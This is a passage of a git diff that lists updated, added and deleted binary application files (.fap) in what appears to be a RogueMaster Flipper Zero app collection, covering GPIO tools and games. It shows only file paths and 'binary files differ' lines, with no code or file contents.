RM, XFW)/RogueMaster/GPIO/flashlight.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap index 44491b39..5e4fafe5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/fm_radio.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap index cc8bd793..0ce83245 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gas_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap index c03580b2..4a0a3dab 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap index 280c9cd4..e6923285 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_7segment_output.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap index 4f0f851b..1fd261e4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_badge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap index 546892d8..3364f606 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_controller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap index 6cf365ea..a7aa0432 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap index c75a2686..40b0170b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_pins_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap index c45195e8..35f59748 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_reader_b.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap index c4efcfd7..53a23b18 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_rgb_led.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap index eadb6684..c3575ff7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_sentry_safe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap index ba9a4917..68261514 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/gpio_wi2c.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap index 1adf41dc..201f5f04 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/i2c_tools.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lasercat.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lasercat.fap new file mode 100644 index 00000000..0b8cfc78 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lasercat.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap index 95e997cb..342af18d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/logic_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap index 5fbdfa07..a824c9ba 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/lora_terminal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap index 5027d637..2119b7fd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/magspoof.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap index be15d16d..0d5ff512 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mayhem_motion.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/modbus.fap new file mode 100644 index 00000000..b208f950 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/modbus.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap index 7b610287..43edaa1f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/mx2125_accelerometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap index c2bc2f67..62f3ec67 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/nmea_gps.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/noptel_lrf_sampler.fap new file mode 100644 index 00000000..9dd5473b Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/noptel_lrf_sampler.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap index 2fbce65f..0059638b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/oscilloscope.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap index 3f586704..1eeefc7c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/pokemon_trading.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap index c6498fd0..e924aac6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/radar_scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap index 259a4273..d401ff41 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/rc2014_coleco.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap index b3e74663..16c8cef3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/sd_spi_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap index 3d207fac..448ac64a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap index 10cd821f..513227a4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/servotester2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap index 83cf9ddb..d708f432 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/signal_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap index 10edb492..0a5d72fe 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spi_mem_manager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap index eb237541..03734207 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/spotify_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap index 38a7fe00..57a01209 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/stepcounter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap index b6b3e017..1e91df49 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/swd_probe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap index 537d97fb..30b33fc8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_echo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap index 59f3de16..0e71b2c5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uart_terminal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap index 0372ad70..cef5e195 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ublox.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap index 32b6f760..6b9b61cb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/uhf_rfid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap index c36775bb..2ecac725 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wav_recorder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap index a185c0ac..2ef910da 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wch_swio_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap index 3066b10a..c32c96b3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wiegand_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap index 81fde115..a384b81d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wii_ec_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap index 888b949a..4888fbae 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/wire_tester.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap index 8d06115e..8712022f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ws2812b_tester_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap index 806e055b..443d78f4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/yuricable_pro_max.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap index 81ce65fd..e1300825 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap index 466fa6f1..f46cdb86 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/2048_improved.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap index f29b432c..c63839dc 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/4_in_a_row.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap index 35ec231c..d01c6a55 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/99.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap index 16884eb5..98639f2c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/arkanoid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap index 0bb19cc3..64b9c886 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/asteroids.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap index 77fd98ef..ba30e32d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/blackjack.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap index d48bacbd..c7776961 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/bomberduck.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap index 3b2f7d70..a959b373 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap index 51f4be78..59619af7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/chess_clock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap index e55850fe..4475475d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/citybloxx.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap index 21cb05db..12754d17 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/color_guess.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap index 3a22c48e..7a49db7f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap deleted file mode 100644 index 6856a668..00000000 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/connect_wires_2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap index f71304a2..62926986 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/crossy_road.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap index 80a5f971..a664bf44 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dice_rm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap index 00dde984..626eb53f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dnd_dice_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap index 38830230..fdf5b827 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/doom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap index b9dbddb2..6a82abbf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/dvd_bouncer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap index f753bf20..ed40c331 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/etchasketch.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap index 964f8af6..6854789b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/five_nights_at_flippers.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap index a6b6b180..afc5ba06 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flappybird.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap index 4f5fc6a4..b7a5a06c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flipper_hero.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap index 672be7e5..c7ea367a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/flippy_road.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap index 95bc83e5..6614b835 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/game15.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap index 42a402e7..96674bda 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/gameoflife.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap index c4642778..13da5dc7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/guess_the_number.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap index ae1b5092..f4d8c059 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/hangman.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap index bc1c3334..572f3d96 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/heap_defence.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap index 81c594ee..b8122c1f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/jetpack.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/kcline.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/kcline.fap new file mode 100644 index 00000000..a90d37bc Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/kcline.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap index 96c27c26..53a7e007 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/mandelbrotset.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap index f86f2d0e..5aa48d36 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/matagotchi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap index 